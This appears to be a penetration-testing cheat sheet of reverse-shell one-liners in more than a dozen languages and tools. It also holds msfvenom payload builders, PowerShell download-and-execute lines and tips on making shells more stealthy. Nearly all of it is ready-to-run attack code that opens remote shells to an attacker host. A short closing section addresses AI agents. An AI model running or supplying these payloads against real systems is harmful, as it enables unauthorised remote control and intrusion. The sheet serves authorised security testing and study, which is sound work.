# Reverse Shells ## Upgrade your shell, upgrade your life ### Python Upgrade ```bash # On compromised host python -c 'import pty; pty.spawn("/bin/bash")' # ctrl-z # While terminal session backgrounded stty raw -echo fg ``` ## Reverse Shell Snippets ### PHP #### Payload ```php $sock, 1=>$sock, 2=>$sock), $pipes); ?> ``` #### Command line ```bash php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");' php -r '$sock=fsockopen("10.0.0.1",4242);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);' ``` ### Bash #### Bash TCP ```bash # Method 1 bash -i >& /dev/tcp/10.0.0.1/4242 0>&1 # Method 2 0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196 ``` #### Bash UDP ```bash sh -i >& /dev/udp/10.0.0.1/4242 0>&1 ``` ### Socat ```bash # @attacker socat file:`tty`,raw,echo=0 TCP-L:4242 # @victim /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242 ``` ```bash # One liner @victim wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242 ``` *Static socat binary can be found at* [*https://github.com/andrew-d/static-binaries*](https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat) ### Perl ```bash perl -e 'use Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' # Windows only perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` ### Python #### Linux only ```bash # IPv4 export RHOST="10.0.0.1";export RPORT=4242;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' #IPv6 python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");' python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ``` #### Windows only ```bash C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.0.0.1', 4242)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" ``` ### Ruby ```bash ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4242).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' # NOTE: Windows only ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` ### Golang ```bash echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","10.0.0.1:4242");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go ``` ### Netcat Traditional ```bash nc -e /bin/sh 10.0.0.1 4242 nc -e /bin/bash 10.0.0.1 4242 nc -c bash 10.0.0.1 4242 ``` ### Netcat OpenBSD ```bash rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f ``` ### Ncat ```bash ncat 10.0.0.1 4242 -e /bin/bash ncat --udp 10.0.0.1 4242 -e /bin/bash ``` ### OpenSSL ```bash # @attacker openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes openssl s_server -quiet -key key.pem -cert cert.pem -port 4242 # or ncat --ssl -vv -l -p 4242 # @victim mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.0.0.1:4242 > /tmp/s; rm /tmp/s ``` ### Powershell ```bash powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1') ``` ### Awk ```bash awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null ``` ### Java ``` r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() ``` #### **Java Alternative 1** ``` String host="127.0.0.1"; int port=4444; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); ``` #### **Java Alternative 2** **NOTE**: This is more stealthy ``` Thread thread = new Thread(){ public void run(){ // Reverse shell here } } thread.start(); ``` ### War ``` msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f war > reverse.war strings reverse.war | grep jsp # in order to get the name of the file ``` ### Lua #### Linux only ``` lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','4242');os.execute('/bin/sh -i <&3 >&3 2>&3');" ``` #### Windows and Linux ``` lua5.1 -e 'local host, port = "10.0.0.1", 4242 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' ``` ### NodeJS ``` (function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(4242, "10.0.0.1", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; // Prevents the Node.js application form crashing })(); or require('child_process').exec('nc -e /bin/sh 10.0.0.1 4242') or -var x = global.process.mainModule.require -x('child_process').exec('nc 10.0.0.1 4242 -e /bin/bash') or https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py ``` ### Groovy by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NOTE: Java reverse shell also work for Groovy ``` String host="10.0.0.1"; int port=4242; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); ``` #### **Groovy Alternative 1** **NOTE**: This is more stealthy ``` Thread.start { // Reverse shell here } ``` ### Meterpreter Shell #### Windows Staged reverse TCP ``` msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe ``` #### Windows Stageless reverse TCP ``` msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe ``` #### Linux Staged reverse TCP ``` msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf ``` #### Linux Stageless reverse TCP ``` msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf ``` #### Other platforms ``` $ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f elf > shell.elf $ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f exe > shell.exe $ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f macho > shell.macho $ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f asp > shell.asp $ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.jsp $ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f war > shell.war $ msfvenom -p cmd/unix/reverse_python LHOST="10.0.0.1" LPORT=4242 -f raw > shell.py $ msfvenom -p cmd/unix/reverse_bash LHOST="10.0.0.1" LPORT=4242 -f raw > shell.sh $ msfvenom -p cmd/unix/reverse_perl LHOST="10.0.0.1" LPORT=4242 -f raw > shell.pl $ msfvenom -p php/meterpreter_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php ``` ### Spawn TTY Shell In order to catch a shell, you need to listen on the desired port. `rlwrap` will enhance the shell, allowing you to clear the screen with `[CTRL] + [L]`. ``` rlwrap nc 10.0.0.1 4242 rlwrap -r -f . nc 10.0.0.1 4242 -f . will make rlwrap use the current history file as a completion word list. -r Put all words seen on in- and output on the completion list. ``` Sometimes, you want to access shortcuts, su, nano and autocomplete in a partially tty shell. ⚠️ OhMyZSH might break this trick, a simple `sh` is recommended > The main problem here is that zsh doesn't handle the stty command the same way bash or sh does. \[...] stty raw -echo; fg\[...] If you try to execute this as two separated commands, as soon as the prompt appear for you to execute the fg command, your -echo command already lost its effect ``` ctrl+z echo $TERM && tput lines && tput cols # for bash stty raw -echo fg # for zsh stty raw -echo; fg reset export SHELL=bash export TERM=xterm-256color stty rows columns ``` or use `socat` binary to get a fully tty reverse shell ``` socat file:`tty`,raw,echo=0 tcp-listen:12345 ``` Spawn a TTY shell from an interpreter ``` /bin/sh -i python3 -c 'import pty; pty.spawn("/bin/sh")' python3 -c "__import__('pty').spawn('/bin/bash')" python3 -c "__import__('subprocess').call(['/bin/bash'])" perl -e 'exec "/bin/sh";' perl: exec "/bin/sh"; perl -e 'print `/bin/bash`' ruby: exec "/bin/sh" lua: os.execute('/bin/sh') ``` * vi: `:!bash` * vi: `:set shell=/bin/bash:shell` * nmap: `!sh` * mysql: `! bash` ### Fully interactive reverse shell on Windows The introduction of the Pseudo Console (ConPty) in Windows has improved so much the way Windows handles terminals. **ConPtyShell uses the function** [**CreatePseudoConsole()**](https://docs.microsoft.com/en-us/windows/console/createpseudoconsole)**. This function is available since Windows 10 / Windows Server 2019 version 1809 (build 10.0.17763).** Server Side: ``` stty raw -echo; (stty size; cat) | nc -lvnp 3001 ``` Client Side: ``` IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.0.0.2 3001 ``` Offline version of the ps1 available at --> ### References * [Reverse Bash Shell One Liner](https://security.stackexchange.com/questions/166643/reverse-bash-shell-one-liner) * [Pentest Monkey - Cheat Sheet Reverse shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) * [Spawning a TTY Shell](http://netsec.ws/?p=337) * [Obtaining a fully interactive shell](https://forum.hackthebox.eu/discussion/142/obtaining-a-fully-interactive-shell) --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. 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